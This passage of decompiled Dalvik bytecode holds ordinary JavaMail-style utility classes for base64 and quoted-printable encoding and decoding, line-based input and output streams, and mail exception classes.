00000082 if-ne v0, p2, :A0
:86
00000086 move v0, v2
00000088 goto :4C
:8A
0000008A add-int/lit8 v1, v0, 0x1
0000008E int-to-byte v3, v3
00000090 aput-byte v3, p1, v0
00000094 add-int/lit8 p3, p3, 0xFFFFFFFFFFFFFFFF
00000098 move v0, v1
:9A
0000009A if-gtz p3, :76
:9E
0000009E goto :82
:A0
000000A0 sub-int/2addr v0, p2
000000A2 goto :4C
.end method
#--------------------------------------------------------------------------------
.class public BASE64EncoderStream
.super FilterOutputStream
.source ""
.field private static newline:[B
.field private static final pem_array:[C
.field private buffer:[B
.field private bufsize:I
.field private bytesPerLine:I
.field private count:I
.field private lineLimit:I
.field private noCRLF:Z
.field private outbuf:[B
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x2
00000002 new-array v0, v0, [B
00000006 fill-array-data v0, :24
0000000C sput-object v0, BASE64EncoderStream->newline:[B
00000010 const/16 v0, 0x40
00000014 new-array v0, v0, [C
00000018 fill-array-data v0, :30
0000001E sput-object v0, BASE64EncoderStream->pem_array:[C
00000022 return-void
00000024 .array-data 1 x 0x2
0xD
0xA
.end array-data
00000030 .array-data 2 x 0x40
0x41
0x42
0x43
0x44
0x45
0x46
0x47
0x48
0x49
0x4A
0x4B
0x4C
0x4D
0x4E
0x4F
0x50
0x51
0x52
0x53
0x54
0x55
0x56
0x57
0x58
0x59
0x5A
0x61
0x62
0x63
0x64
0x65
0x66
0x67
0x68
0x69
0x6A
0x6B
0x6C
0x6D
0x6E
0x6F
0x70
0x71
0x72
0x73
0x74
0x75
0x76
0x77
0x78
0x79
0x7A
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x2B
0x2F
.end array-data
.end method
.method public constructor <init>(OutputStream)V
.registers 3
00000000 const/16 v0, 0x4C
00000004 invoke-direct BASE64EncoderStream-><init>(OutputStream, I)V, p0, p1, v0
0000000A return-void
.end method
.method public constructor <init>(OutputStream, I)V
.registers 6
00000000 const/4 v0, 0x0
00000002 invoke-direct FilterOutputStream-><init>(OutputStream)V, p0, p1
00000008 iput v0, p0, BASE64EncoderStream->bufsize:I
0000000C iput v0, p0, BASE64EncoderStream->count:I
00000010 iput-boolean v0, p0, BASE64EncoderStream->noCRLF:Z
00000014 const/4 v0, 0x3
00000016 new-array v0, v0, [B
0000001A iput-object v0, p0, BASE64EncoderStream->buffer:[B
0000001E const v0, 0x7FFFFFFF
00000024 if-eq p2, v0, :2E
:28
00000028 const/4 v0, 0x4
0000002A if-ge p2, v0, :38
:2E
0000002E const/4 v0, 0x1
00000030 iput-boolean v0, p0, BASE64EncoderStream->noCRLF:Z
00000034 const/16 p2, 0x4C
:38
00000038 div-int/lit8 v0, p2, 0x4
0000003C mul-int/lit8 v0, v0, 0x4
00000040 iput v0, p0, BASE64EncoderStream->bytesPerLine:I
00000044 div-int/lit8 v1, v0, 0x4
00000048 mul-int/lit8 v1, v1, 0x3
0000004C iput v1, p0, BASE64EncoderStream->lineLimit:I
00000050 iget-boolean v1, p0, BASE64EncoderStream->noCRLF:Z
00000054 if-eqz v1, :62
:58
00000058 new-array v0, v0, [B
0000005C iput-object v0, p0, BASE64EncoderStream->outbuf:[B
:60
00000060 return-void
:62
00000062 add-int/lit8 v1, v0, 0x2
00000066 new-array v1, v1, [B
0000006A iput-object v1, p0, BASE64EncoderStream->outbuf:[B
0000006E iget-object v1, p0, BASE64EncoderStream->outbuf:[B
00000072 const/16 v2, 0xD
00000076 aput-byte v2, v1, v0
0000007A iget-object v1, p0, BASE64EncoderStream->outbuf:[B
0000007E add-int/lit8 v0, v0, 0x1
00000082 const/16 v2, 0xA
00000086 aput-byte v2, v1, v0
0000008A goto :60
.end method
.method private encode()V
.registers 7
00000000 const/4 v5, 0x0
00000002 iget v0, p0, BASE64EncoderStream->bufsize:I
00000006 invoke-static BASE64EncoderStream->encodedSize(I)I, v0
0000000C move-result v0
0000000E iget-object v1, p0, BASE64EncoderStream->out:OutputStream
00000012 iget-object v2, p0, BASE64EncoderStream->buffer:[B
00000016 iget v3, p0, BASE64EncoderStream->bufsize:I
0000001A iget-object v4, p0, BASE64EncoderStream->outbuf:[B
0000001E invoke-static BASE64EncoderStream->encode([B, I, I, [B)[B, v2, v5, v3, v4
00000024 move-result-object v2
00000026 invoke-virtual OutputStream->write([B, I, I)V, v1, v2, v5, v0
0000002C iget v1, p0, BASE64EncoderStream->count:I
00000030 add-int/2addr v0, v1
00000032 iput v0, p0, BASE64EncoderStream->count:I
00000036 iget v0, p0, BASE64EncoderStream->count:I
0000003A iget v1, p0, BASE64EncoderStream->bytesPerLine:I
0000003E if-lt v0, v1, :5C
:42
00000042 iget-boolean v0, p0, BASE64EncoderStream->noCRLF:Z
00000046 if-nez v0, :58
:4A
0000004A iget-object v0, p0, BASE64EncoderStream->out:OutputStream
0000004E sget-object v1, BASE64EncoderStream->newline:[B
00000052 invoke-virtual OutputStream->write([B)V, v0, v1
:58
00000058 iput v5, p0, BASE64EncoderStream->count:I
:5C
0000005C return-void
.end method
.method public static encode([B)[B
.registers 4
00000000 array-length v0, p0
00000002 if-nez v0, :8
:6
00000006 return-object p0
:8
00000008 const/4 v0, 0x0
0000000A array-length v1, p0
0000000C const/4 v2, 0x0
0000000E invoke-static BASE64EncoderStream->encode([B, I, I, [B)[B, p0, v0, v1, v2
00000014 move-result-object p0
00000016 goto :6
.end method
.method private static encode([B, I, I, [B)[B
.registers 10
00000000 const/16 v5, 0x3D
00000004 if-nez p3, :14
:8
00000008 invoke-static BASE64EncoderStream->encodedSize(I)I, p2
0000000E move-result v0
00000010 new-array p3, v0, [B
:14
00000014 const/4 v0, 0x0
:16
00000016 const/4 v1, 0x3
00000018 if-ge p2, v1, :74
:1C
0000001C const/4 v1, 0x1
0000001E if-ne p2, v1, :112
:22
00000022 add-int/lit8 v1, p1, 0x1
00000026 aget-byte v1, p0, p1
0000002A and-int/lit16 v1, v1, 0xFF
0000002E shl-int/lit8 v1, v1, 0x4
00000032 add-int/lit8 v2, v0, 0x3
00000036 aput-byte v5, p3, v2
0000003A add-int/lit8 v2, v0, 0x2
0000003E aput-byte v5, p3, v2
00000042 add-int/lit8 v2, v0, 0x1
00000046 sget-object v3, BASE64EncoderStream->pem_array:[C
0000004A and-int/lit8 v4, v1, 0x3F
0000004E aget-char v3, v3, v4
00000052 int-to-byte v3, v3
00000054 aput-byte v3, p3, v2
00000058 shr-int/lit8 v1, v1, 0x6
0000005C add-int/lit8 v0, v0, 0x0
00000060 sget-object v2, BASE64EncoderStream->pem_array:[C
00000064 and-int/lit8 v1, v1, 0x3F
00000068 aget-char v1, v2, v1
0000006C int-to-byte v1, v1
0000006E aput-byte v1, p3, v0
:72
00000072 return-object p3
:74
00000074 add-int/lit8 v1, p1, 0x1
00000078 aget-byte v2, p0, p1
0000007C and-int/lit16 v2, v2, 0xFF
00000080 shl-int/lit8 v2, v2, 0x8
00000084 add-int/lit8 v3, v1, 0x1
00000088 aget-byte v1, p0, v1
0000008C and-int/lit16 v1, v1, 0xFF
00000090 or-int/2addr v1, v2
00000092 shl-int/lit8 v1, v1, 0x8
00000096 add-int/lit8 p1, v3, 0x1
0000009A aget-byte v2, p0, v3
0000009E and-int/lit16 v2, v2, 0xFF
000000A2 or-int/2addr v1, v2
000000A4 add-int/lit8 v2, v0, 0x3
000000A8 sget-object v3, BASE64EncoderStream->pem_array:[C
000000AC and-int/lit8 v4, v1, 0x3F
000000B0 aget-char v3, v3, v4
000000B4 int-to-byte v3, v3
000000B6 aput-byte v3, p3, v2
000000BA shr-int/lit8 v1, v1, 0x6
000000BE add-int/lit8 v2, v0, 0x2
000000C2 sget-object v3, BASE64EncoderStream->pem_array:[C
000000C6 and-int/lit8 v4, v1, 0x3F
000000CA aget-char v3, v3, v4
000000CE int-to-byte v3, v3
000000D0 aput-byte v3, p3, v2
000000D4 shr-int/lit8 v1, v1, 0x6
000000D8 add-int/lit8 v2, v0, 0x1
000000DC sget-object v3, BASE64EncoderStream->pem_array:[C
000000E0 and-int/lit8 v4, v1, 0x3F
000000E4 aget-char v3, v3, v4
000000E8 int-to-byte v3, v3
000000EA aput-byte v3, p3, v2
000000EE shr-int/lit8 v1, v1, 0x6
000000F2 add-int/lit8 v2, v0, 0x0
000000F6 sget-object v3, BASE64EncoderStream->pem_array:[C
000000FA and-int/lit8 v1, v1, 0x3F
000000FE aget-char v1, v3, v1
00000102 int-to-byte v1, v1
00000104 aput-byte v1, p3, v2
00000108 add-int/lit8 p2, p2, 0xFFFFFFFFFFFFFFFD
0000010C add-int/lit8 v0, v0, 0x4
00000110 goto :16
:112
00000112 const/4 v1, 0x2
00000114 if-ne p2, v1, :72
:118
00000118 add-int/lit8 v1, p1, 0x1
0000011C aget-byte v2, p0, p1
00000120 and-int/lit16 v2, v2, 0xFF
00000124 shl-int/lit8 v2, v2, 0x8
00000128 add-int/lit8 v3, v1, 0x1
0000012C aget-byte v1, p0, v1
00000130 and-int/lit16 v1, v1, 0xFF
00000134 or-int/2addr v1, v2
00000136 shl-int/lit8 v1, v1, 0x2
0000013A add-int/lit8 v2, v0, 0x3
0000013E aput-byte v5, p3, v2
00000142 add-int/lit8 v2, v0, 0x2
00000146 sget-object v3, BASE64EncoderStream->pem_array:[C
0000014A and-int/lit8 v4, v1, 0x3F
0000014E aget-char v3, v3, v4
00000152 int-to-byte v3, v3
00000154 aput-byte v3, p3, v2
00000158 shr-int/lit8 v1, v1, 0x6
0000015C add-int/lit8 v2, v0, 0x1
00000160 sget-object v3, BASE64EncoderStream->pem_array:[C
00000164 and-int/lit8 v4, v1, 0x3F
00000168 aget-char v3, v3, v4
0000016C int-to-byte v3, v3
0000016E aput-byte v3, p3, v2
00000172 shr-int/lit8 v1, v1, 0x6
00000176 add-int/lit8 v0, v0, 0x0
0000017A sget-object v2, BASE64EncoderStream->pem_array:[C
0000017E and-int/lit8 v1, v1, 0x3F
00000182 aget-char v1, v2, v1
00000186 int-to-byte v1, v1
00000188 aput-byte v1, p3, v0
0000018C goto/16 :72
.end method
.method private static encodedSize(I)I
.registers 2
00000000 add-int/lit8 v0, p0, 0x2
00000004 div-int/lit8 v0, v0, 0x3
00000008 mul-int/lit8 v0, v0, 0x4
0000000C return v0
.end method
.method public declared-synchronized close()V
.registers 3
00000000 monitor-enter p0
:2
00000002 invoke-virtual BASE64EncoderStream->flush()V, p0
00000008 iget v0, p0, BASE64EncoderStream->count:I
0000000C if-lez v0, :30
:10
00000010 iget-boolean v0, p0, BASE64EncoderStream->noCRLF:Z
00000014 if-nez v0, :30
:18
00000018 iget-object v0, p0, BASE64EncoderStream->out:OutputStream
0000001C sget-object v1, BASE64EncoderStream->newline:[B
00000020 invoke-virtual OutputStream->write([B)V, v0, v1
00000026 iget-object v0, p0, BASE64EncoderStream->out:OutputStream
0000002A invoke-virtual OutputStream->flush()V, v0
:30
00000030 iget-object v0, p0, BASE64EncoderStream->out:OutputStream
00000034 invoke-virtual OutputStream->close()V, v0
:3A
0000003A monitor-exit p0
0000003C return-void
:3E
0000003E move-exception v0
00000040 monitor-exit p0
00000042 throw v0
.catchall {:2 .. :3A} :3E
.end method
.method public declared-synchronized flush()V
.registers 2
00000000 monitor-enter p0
:2
00000002 iget v0, p0, BASE64EncoderStream->bufsize:I
00000006 if-lez v0, :16
:A
0000000A invoke-direct BASE64EncoderStream->encode()V, p0
00000010 const/4 v0, 0x0
00000012 iput v0, p0, BASE64EncoderStream->bufsize:I
:16
00000016 iget-object v0, p0, BASE64EncoderStream->out:OutputStream
0000001A invoke-virtual OutputStream->flush()V, v0
:20
00000020 monitor-exit p0
00000022 return-void
:24
00000024 move-exception v0
00000026 monitor-exit p0
00000028 throw v0
.catchall {:2 .. :20} :24
.end method
.method public declared-synchronized write(I)V
.registers 5
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, BASE64EncoderStream->buffer:[B
00000006 iget v1, p0, BASE64EncoderStream->bufsize:I
0000000A add-int/lit8 v2, v1, 0x1
0000000E iput v2, p0, BASE64EncoderStream->bufsize:I
00000012 int-to-byte v2, p1
00000014 aput-byte v2, v0, v1
00000018 iget v0, p0, BASE64EncoderStream->bufsize:I
0000001C const/4 v1, 0x3
0000001E if-ne v0, v1, :2E
:22
00000022 invoke-direct BASE64EncoderStream->encode()V, p0
00000028 const/4 v0, 0x0
0000002A iput v0, p0, BASE64EncoderStream->bufsize:I
:2E
0000002E monitor-exit p0
00000030 return-void
:32
00000032 move-exception v0
00000034 monitor-exit p0
00000036 throw v0
.catchall {:2 .. :2E} :32
.end method
.method public write([B)V
.registers 4
00000000 const/4 v0, 0x0
00000002 array-length v1, p1
00000004 invoke-virtual BASE64EncoderStream->write([B, I, I)V, p0, p1, v0, v1
0000000A return-void
.end method
.method public declared-synchronized write([B, I, I)V
.registers 11
00000000 monitor-enter p0
00000002 add-int v2, p2, p3
00000006 move v0, p2
:8
00000008 iget v1, p0, BASE64EncoderStream->bufsize:I
0000000C if-eqz v1, :14
:10
00000010 if-lt v0, v2, :D0
:14
00000014 iget v1, p0, BASE64EncoderStream->bytesPerLine:I
00000018 iget v3, p0, BASE64EncoderStream->count:I
0000001C sub-int/2addr v1, v3
0000001E div-int/lit8 v1, v1, 0x4
00000022 mul-int/lit8 v3, v1, 0x3
00000026 add-int v1, v0, v3
0000002A if-ge v1, v2, :7E
:2E
0000002E invoke-static BASE64EncoderStream->encodedSize(I)I, v3
00000034 move-result v1
00000036 iget-boolean v4, p0, BASE64EncoderStream->noCRLF:Z
0000003A if-nez v4, :5E
:3E
0000003E iget-object v4, p0, BASE64EncoderStream->outbuf:[B
00000042 add-int/lit8 v5, v1, 0x1
00000046 const/16 v6, 0xD
0000004A aput-byte v6, v4, v1
0000004E iget-object v4, p0, BASE64EncoderStream->outbuf:[B
00000052 add-int/lit8 v1, v5, 0x1
00000056 const/16 v6, 0xA
0000005A aput-byte v6, v4, v5
:5E
0000005E iget-object v4, p0, BASE64EncoderStream->out:OutputStream
00000062 iget-object v5, p0, BASE64EncoderStream->outbuf:[B
00000066 invoke-static BASE64EncoderStream->encode([B, I, I, [B)[B, p1, v0, v3, v5
0000006C move-result-object v5
0000006E const/4 v6, 0x0
00000070 invoke-virtual OutputStream->write([B, I, I)V, v4, v5, v6, v1
00000076 add-int/2addr v0, v3
00000078 const/4 v1, 0x0
0000007A iput v1, p0, BASE64EncoderStream->count:I
:7E
0000007E iget v1, p0, BASE64EncoderStream->lineLimit:I
00000082 add-int/2addr v1, v0
00000084 if-lt v1, v2, :E2
:88
00000088 add-int/lit8 v1, v0, 0x3
0000008C if-ge v1, v2, :C8
:90
00000090 sub-int v1, v2, v0
00000094 div-int/lit8 v1, v1, 0x3
00000098 mul-int/lit8 v1, v1, 0x3
0000009C invoke-static BASE64EncoderStream->encodedSize(I)I, v1
000000A2 move-result v3
000000A4 iget-object v4, p0, BASE64EncoderStream->out:OutputStream
000000A8 iget-object v5, p0, BASE64EncoderStream->outbuf:[B
000000AC invoke-static BASE64EncoderStream->encode([B, I, I, [B)[B, p1, v0, v1, v5
000000B2 move-result-object v5
000000B4 const/4 v6, 0x0
000000B6 invoke-virtual OutputStream->write([B, I, I)V, v4, v5, v6, v3
000000BC add-int/2addr v0, v1
000000BE iget v1, p0, BASE64EncoderStream->count:I
000000C2 add-int/2addr v1, v3
000000C4 iput v1, p0, BASE64EncoderStream->count:I
:C8
000000C8 if-lt v0, v2, :104
:CC
000000CC monitor-exit p0
000000CE return-void
:D0
000000D0 add-int/lit8 p2, v0, 0x1
:D4
000000D4 aget-byte v0, p1, v0
000000D8 invoke-virtual BASE64EncoderStream->write(I)V, p0, v0
000000DE move v0, p2
000000E0 goto :8
:E2
000000E2 iget-object v1, p0, BASE64EncoderStream->out:OutputStream
000000E6 iget v3, p0, BASE64EncoderStream->lineLimit:I
000000EA iget-object v4, p0, BASE64EncoderStream->outbuf:[B
000000EE invoke-static BASE64EncoderStream->encode([B, I, I, [B)[B, p1, v0, v3, v4
000000F4 move-result-object v3
000000F6 invoke-virtual OutputStream->write([B)V, v1, v3
000000FC iget v1, p0, BASE64EncoderStream->lineLimit:I
00000100 add-int/2addr v0, v1
00000102 goto :7E
:104
00000104 aget-byte v1, p1, v0
00000108 invoke-virtual BASE64EncoderStream->write(I)V, p0, v1
:10E
0000010E add-int/lit8 v0, v0, 0x1
00000112 goto :C8
:114
00000114 move-exception v0
00000116 monitor-exit p0
00000118 throw v0
.catchall {:8 .. :C8} :114
.catchall {:D4 .. :10E} :114
.end method
#--------------------------------------------------------------------------------
.class public BEncoderStream
.super BASE64EncoderStream
.source ""
.method public constructor <init>(OutputStream)V
.registers 3
00000000 const v0, 0x7FFFFFFF
00000006 invoke-direct BASE64EncoderStream-><init>(OutputStream, I)V, p0, p1, v0
0000000C return-void
.end method
.method public static encodedLength([B)I
.registers 2
00000000 array-length v0, p0
00000002 add-int/lit8 v0, v0, 0x2
00000006 div-int/lit8 v0, v0, 0x3
0000000A mul-int/lit8 v0, v0, 0x4
0000000E return v0
.end method
#--------------------------------------------------------------------------------
.class public FolderClosedIOException
.super IOException
.source ""
.field private static final serialVersionUID:J = 0x3B699A4DF297B817L
.field private transient varargs folder:Folder
.method public constructor <init>(Folder)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct FolderClosedIOException-><init>(Folder, String)V, p0, p1, v0
00000008 return-void
.end method
.method public constructor <init>(Folder, String)V
.registers 3
00000000 invoke-direct IOException-><init>(String)V, p0, p2
00000006 iput-object p1, p0, FolderClosedIOException->folder:Folder
0000000A return-void
.end method
.method public getFolder()Folder
.registers 2
00000000 iget-object v0, p0, FolderClosedIOException->folder:Folder
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public LineInputStream
.super FilterInputStream
.source ""
.field private lineBuffer:[C
.method public constructor <init>(InputStream)V
.registers 3
00000000 invoke-direct FilterInputStream-><init>(InputStream)V, p0, p1
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, LineInputStream->lineBuffer:[C
0000000C return-void
.end method
.method public readLine()String
.registers 11
00000000 const/16 v9, 0xD
00000004 const/16 v8, 0xA
00000008 const/4 v7, 0xFFFFFFFFFFFFFFFF
0000000A const/4 v2, 0x0
0000000C iget-object v5, p0, LineInputStream->in:InputStream
00000010 iget-object v0, p0, LineInputStream->lineBuffer:[C
00000014 if-nez v0, :24
:18
00000018 const/16 v0, 0x80
0000001C new-array v0, v0, [C
00000020 iput-object v0, p0, LineInputStream->lineBuffer:[C
:24
00000024 array-length v1, v0
00000026 move-object v3, v0
00000028 move v0, v1
0000002A move v1, v2
:2C
0000002C invoke-virtual InputStream->read()I, v5
00000032 move-result v6
00000034 if-ne v6, v7, :44
:38
00000038 if-ne v6, v7, :C0
:3C
0000003C if-nez v1, :C0
:40
00000040 const/4 v0, 0x0
:42
00000042 return-object v0
:44
00000044 if-eq v6, v8, :38
:48
00000048 if-ne v6, v9, :88
:4C
0000004C invoke-virtual InputStream->read()I, v5
00000052 move-result v0
00000054 if-ne v0, v9, :D4
:58
00000058 invoke-virtual InputStream->read()I, v5
0000005E move-result v0
00000060 move v4, v0
:62
00000062 if-eq v4, v8, :38
:66
00000066 instance-of v0, v5, PushbackInputStream
0000006A if-nez v0, :D0
:6E
0000006E new-instance v0, PushbackInputStream
00000072 invoke-direct PushbackInputStream-><init>(InputStream)V, v0, v5
00000078 iput-object v0, p0, LineInputStream->in:InputStream
:7C
0000007C check-cast v0, PushbackInputStream
00000080 invoke-virtual PushbackInputStream->unread(I)V, v0, v4
00000086 goto :38
:88
00000088 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
0000008C if-gez v0, :CA
:90
00000090 add-int/lit16 v0, v1, 0x80
00000094 new-array v4, v0, [C
00000098 array-length v0, v4
0000009A sub-int/2addr v0, v1
0000009C add-int/lit8 v3, v0, 0xFFFFFFFFFFFFFFFF
000000A0 iget-object v0, p0, LineInputStream->lineBuffer:[C
000000A4 invoke-static System->arraycopy(Object, I, Object, I, I)V, v0, v2, v4, v2, v1
000000AA iput-object v4, p0, LineInputStream->lineBuffer:[C
:AE
000000AE add-int/lit8 v0, v1, 0x1
000000B2 int-to-char v6, v6
000000B4 aput-char v6, v4, v1
000000B8 move v1, v0
000000BA move v0, v3
000000BC move-object v3, v4
000000BE goto :2C
:C0
000000C0 invoke-static String->copyValueOf([C, I, I)String, v3, v2, v1
000000C6 move-result-object v0
000000C8 goto :42
:CA
000000CA move-object v4, v3
000000CC move v3, v0
000000CE goto :AE
:D0
000000D0 move-object v0, v5
000000D2 goto :7C
:D4
000000D4 move v4, v0
000000D6 goto :62
.end method
#--------------------------------------------------------------------------------
.class public LineOutputStream
.super FilterOutputStream
.source ""
.field private static newline:[B
.method static constructor <clinit>()V
.registers 3
00000000 const/4 v0, 0x2
00000002 new-array v0, v0, [B
00000006 sput-object v0, LineOutputStream->newline:[B
0000000A sget-object v0, LineOutputStream->newline:[B
0000000E const/4 v1, 0x0
00000010 const/16 v2, 0xD
00000014 aput-byte v2, v0, v1
00000018 sget-object v0, LineOutputStream->newline:[B
0000001C const/4 v1, 0x1
0000001E const/16 v2, 0xA
00000022 aput-byte v2, v0, v1
00000026 return-void
.end method
.method public constructor <init>(OutputStream)V
.registers 2
00000000 invoke-direct FilterOutputStream-><init>(OutputStream)V, p0, p1
00000006 return-void
.end method
.method public writeln()V
.registers 4
00000000 iget-object v0, p0, LineOutputStream->out:OutputStream
00000004 sget-object v1, LineOutputStream->newline:[B
00000008 invoke-virtual OutputStream->write([B)V, v0, v1
:E
0000000E return-void
:10
00000010 move-exception v0
00000012 new-instance v1, MessagingException
00000016 const-string v2, "IOException"
0000001A invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000020 throw v1
.catch Exception {:0 .. :E} :10
.end method
.method public writeln(String)V
.registers 5
00000000 invoke-static ASCIIUtility->getBytes(String)[B, p1
00000006 move-result-object v0
00000008 iget-object v1, p0, LineOutputStream->out:OutputStream
0000000C invoke-virtual OutputStream->write([B)V, v1, v0
00000012 iget-object v0, p0, LineOutputStream->out:OutputStream
00000016 sget-object v1, LineOutputStream->newline:[B
0000001A invoke-virtual OutputStream->write([B)V, v0, v1
:20
00000020 return-void
:22
00000022 move-exception v0
00000024 new-instance v1, MessagingException
00000028 const-string v2, "IOException"
0000002C invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000032 throw v1
.catch Exception {:0 .. :20} :22
.end method
#--------------------------------------------------------------------------------
.class public MessageRemovedIOException
.super IOException
.source ""
.field private static final serialVersionUID:J = 0x3B6746FDC4D08728L
.method public constructor <init>()V
.registers 1
00000000 invoke-direct IOException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct IOException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public QPDecoderStream
.super FilterInputStream
.source ""
.field protected ba:[B
.field protected spaces:I
.method public constructor <init>(InputStream)V
.registers 4
00000000 const/4 v1, 0x2
00000002 new-instance v0, PushbackInputStream
00000006 invoke-direct PushbackInputStream-><init>(InputStream, I)V, v0, p1, v1
0000000C invoke-direct FilterInputStream-><init>(InputStream)V, p0, v0
00000012 new-array v0, v1, [B
00000016 iput-object v0, p0, QPDecoderStream->ba:[B
0000001A const/4 v0, 0x0
0000001C iput v0, p0, QPDecoderStream->spaces:I
00000020 return-void
.end method
.method public available()I
.registers 2
00000000 iget-object v0, p0, QPDecoderStream->in:InputStream
00000004 invoke-virtual InputStream->available()I, v0
0000000A move-result v0
0000000C return v0
.end method
.method public markSupported()Z
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public read()I
.registers 7
00000000 const/16 v5, 0xD
00000004 const/16 v4, 0xA
00000008 const/4 v3, 0x0
0000000A const/4 v0, 0xFFFFFFFFFFFFFFFF
0000000C const/16 v1, 0x20
00000010 iget v2, p0, QPDecoderStream->spaces:I
00000014 if-lez v2, :26
:18
00000018 iget v0, p0, QPDecoderStream->spaces:I
0000001C add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000020 iput v0, p0, QPDecoderStream->spaces:I
:24
00000024 return v1
:26
00000026 iget-object v2, p0, QPDecoderStream->in:InputStream
0000002A invoke-virtual InputStream->read()I, v2
00000030 move-result v2
00000032 if-ne v2, v1, :7C
:36
00000036 iget-object v2, p0, QPDecoderStream->in:InputStream
0000003A invoke-virtual InputStream->read()I, v2
00000040 move-result v2
00000042 if-eq v2, v1, :5C
:46
00000046 if-eq v2, v5, :52
:4A
0000004A if-eq v2, v4, :52
:4E
0000004E if-ne v2, v0, :6A
:52
00000052 iput v3, p0, QPDecoderStream->spaces:I
00000056 move v0, v2
:58
00000058 move v1, v0
0000005A goto :24
:5C
0000005C iget v2, p0, QPDecoderStream->spaces:I
00000060 add-int/lit8 v2, v2, 0x1
00000064 iput v2, p0, QPDecoderStream->spaces:I
00000068 goto :36
:6A
0000006A iget-object v0, p0, QPDecoderStream->in:InputStream
0000006E check-cast v0, PushbackInputStream
00000072 invoke-virtual PushbackInputStream->unread(I)V, v0, v2
00000078 move v0, v1
0000007A goto :58
:7C
0000007C const/16 v1, 0x3D
00000080 if-ne v2, v1, :122
:84
00000084 iget-object v1, p0, QPDecoderStream->in:InputStream
00000088 invoke-virtual InputStream->read()I, v1
0000008E move-result v1
00000090 if-ne v1, v4, :9E
:94
00000094 invoke-virtual QPDecoderStream->read()I, p0
0000009A move-result v1
0000009C goto :24
:9E
0000009E if-ne v1, v5, :CA
:A2
000000A2 iget-object v0, p0, QPDecoderStream->in:InputStream
000000A6 invoke-virtual InputStream->read()I, v0
000000AC move-result v1
000000AE if-eq v1, v4, :C0
:B2
000000B2 iget-object v0, p0, QPDecoderStream->in:InputStream
000000B6 check-cast v0, PushbackInputStream
000000BA invoke-virtual PushbackInputStream->unread(I)V, v0, v1
:C0
000000C0 invoke-virtual QPDecoderStream->read()I, p0
000000C6 move-result v1
000000C8 goto :24
:CA
000000CA if-ne v1, v0, :D2
:CE
000000CE move v1, v0
000000D0 goto :24
:D2
000000D2 iget-object v0, p0, QPDecoderStream->ba:[B
000000D6 int-to-byte v1, v1
000000D8 aput-byte v1, v0, v3
000000DC iget-object v0, p0, QPDecoderStream->ba:[B
000000E0 const/4 v1, 0x1
000000E2 iget-object v3, p0, QPDecoderStream->in:InputStream
000000E6 invoke-virtual InputStream->read()I, v3
000000EC move-result v3
000000EE int-to-byte v3, v3
000000F0 aput-byte v3, v0, v1
:F4
000000F4 iget-object v0, p0, QPDecoderStream->ba:[B
000000F8 const/4 v1, 0x0
000000FA const/4 v3, 0x2
000000FC const/16 v4, 0x10
00000100 invoke-static ASCIIUtility->parseInt([B, I, I, I)I, v0, v1, v3, v4
:106
00000106 move-result v1
00000108 goto :24
:10A
0000010A move-exception v0
0000010C iget-object v0, p0, QPDecoderStream->in:InputStream
00000110 check-cast v0, PushbackInputStream
00000114 iget-object v1, p0, QPDecoderStream->ba:[B
00000118 invoke-virtual PushbackInputStream->unread([B)V, v0, v1
0000011E move v1, v2
00000120 goto :24
:122
00000122 move v1, v2
00000124 goto :24
.catch NumberFormatException {:F4 .. :106} :10A
.end method
.method public read([B, I, I)I
.registers 8
00000000 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000002 const/4 v1, 0x0
:4
00000004 if-lt v1, p3, :C
:8
00000008 move v0, v1
:A
0000000A return v0
:C
0000000C invoke-virtual QPDecoderStream->read()I, p0
00000012 move-result v2
00000014 if-ne v2, v0, :1E
:18
00000018 if-nez v1, :8
:1C
0000001C goto :A
:1E
0000001E add-int v3, p2, v1
00000022 int-to-byte v2, v2
00000024 aput-byte v2, p1, v3
00000028 add-int/lit8 v1, v1, 0x1
0000002C goto :4
.end method
#--------------------------------------------------------------------------------
.class public QDecoderStream
.super QPDecoderStream
.source ""
.method public constructor <init>(InputStream)V
.registers 2
00000000 invoke-direct QPDecoderStream-><init>(InputStream)V, p0, p1
00000006 return-void
.end method
.method public read()I
.registers 5
00000000 const/4 v2, 0x0
00000002 iget-object v0, p0, QDecoderStream->in:InputStream
00000006 invoke-virtual InputStream->read()I, v0
0000000C move-result v0
0000000E const/16 v1, 0x5F
00000012 if-ne v0, v1, :1C
:16
00000016 const/16 v0, 0x20
:1A
0000001A return v0
:1C
0000001C const/16 v1, 0x3D
00000020 if-ne v0, v1, :1A
:24
00000024 iget-object v0, p0, QDecoderStream->ba:[B
00000028 iget-object v1, p0, QDecoderStream->in:InputStream
0000002C invoke-virtual InputStream->read()I, v1
00000032 move-result v1
00000034 int-to-byte v1, v1
00000036 aput-byte v1, v0, v2
0000003A iget-object v0, p0, QDecoderStream->ba:[B
0000003E const/4 v1, 0x1
00000040 iget-object v2, p0, QDecoderStream->in:InputStream
00000044 invoke-virtual InputStream->read()I, v2
0000004A move-result v2
0000004C int-to-byte v2, v2
0000004E aput-byte v2, v0, v1
:52
00000052 iget-object v0, p0, QDecoderStream->ba:[B
00000056 const/4 v1, 0x0
00000058 const/4 v2, 0x2
0000005A const/16 v3, 0x10
0000005E invoke-static ASCIIUtility->parseInt([B, I, I, I)I, v0, v1, v2, v3
:64
00000064 move-result v0
00000066 goto :1A
:68
00000068 move-exception v0
0000006A new-instance v1, IOException
0000006E new-instance v2, StringBuilder
00000072 const-string v3, "Error in QP stream "
00000076 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000007C invoke-virtual NumberFormatException->getMessage()String, v0
00000082 move-result-object v0
00000084 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
0000008A move-result-object v0
0000008C invoke-virtual StringBuilder->toString()String, v0
00000092 move-result-object v0
00000094 invoke-direct IOException-><init>(String)V, v1, v0
